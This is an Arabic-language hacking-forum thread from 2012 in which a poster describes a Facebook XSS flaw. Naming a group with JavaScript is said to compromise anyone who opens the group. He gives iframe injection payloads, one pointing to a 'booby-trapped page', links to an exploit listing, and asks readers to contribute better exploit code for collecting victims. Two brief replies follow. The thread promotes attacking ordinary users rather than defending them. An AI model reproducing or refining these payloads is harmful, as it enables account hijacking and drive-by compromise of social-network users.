amar ranbi ثغرة xssفي الفيسبوك

amar ranbi · 02-02-2012, 02:37

و اولا هذا شرح لاى ثغرة باسم XSS و هذا للناس المش عارفين ما هيا ثغرات XSS

( http://ar.wikipedia.org/wiki/%D8%A8%...A7%D9%82%D8%B9 )
موضوع النهاردة مميز جدااا و ثغرة لسا طازة , و تاريخ نزولها ( 2010-04-02 ) يعنى جديدة شوية

المهم الثغرة عبارة عن تخترق اى حد من فيس بوك بمجرد دخول على جروب الانتا عملوا يعنى ممكن من هذة الثغرة

تخترق هكر محترف لو ضغط على الجروب يعنى حاجة مميزة جدااا جدااا شوفوا الثغرة عبارة عن ( Facebook XSS Vulnerability )

و ثغرة عبارة عن فكرة حلوا و هيا حسب الفهمتوا من شرح الموجود فى ثغرة

ان انا بعمل جروب باسم جافا سكربت ( يعنى مثلا : كود:
<iframe src=http://inj3ct0r.com></iframe>
)

و هذة صور توضيح للفكرة : -

طب اية الفكرة بكل اختصار انا فهمت ان فيس بوك يستخدم سكربت كثيرة يعنى ممكن ان تعمل اى امر تطبيق للجافا

حتا لو امر ينفذ باتش او سيرفر يعنى شوف مدى الخطورة , لا و اية كمان ممكن تنشر جروب و تجمع ضحايا كلهم من فيس بوك ..

هذة الثغرة

http://inj3ct0r.com/exploits/11577

و على فكرة لو حد عايز يفهم الثغرة لوحدة علشان يتاكد من كلمى >ابد قراءة من هنا ( :::::::::: How to exploit this )

و طبعا بعد هذا ارجوا ان ثغرة تنال اعجبكم

بس انا عايز من المختصين فى ( HTML or Java Script code ) ان ينزلوا كود لهذة ثغرة او احسن استغلال لهذة كود ..

ياريت حد يضع كود مميز ,و يجربوا قبل ما يضع الكود هذا امنية ...

و انا هساهم باول كود الموجود فى ثغرة ( كود:
<iframe src=رابط صفختك الملغومة></iframe>
) ...

VIP women · 06-03-2012, 10:37

يعنى الثغرة دى ممكن تخلى اى حد يخترق الفيس عندنا ولا ايه بؤالظبط ؟؟؟؟؟؟؟؟؟

من علمنى حرفا · 08-05-2012, 03:23

والله مافهمت حاجة منك وبارك الله فيك على المجهود وجاري التحقق وجمع المعلومات

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
شرح لينيكس amar ranbi	amar ranbi	قسم اللينوكس والمصادر المفتوحة	1	11-04-2012 12:20
amar ranbi طريقة دخول الشات وانت مخفي	amar ranbi	::. قسم خاص بإدارة السيرفرات وحمايتها .::	1	06-03-2012 10:38
طريقة كشف التلغيم والدمج amar ranbi	amar ranbi	قسم الفايروسات	0	02-02-2012 02:22
إلى عشاق السباي نات كل قيم التشفير بالهيكس فقط !!!لجميع الحمايات ranbi amar	amar ranbi	منتدى الكمبيوتر والانترنت والبرامج	0	02-02-2012 02:07
(اختراق الفيسبوك) ثغرة اختراق جميع مستخدمي الفيسبوك بمجرد الضغط على زر الرد	T0TAL	:: مملكة حماية البريد و الأجهزة ::	6	14-11-2010 12:33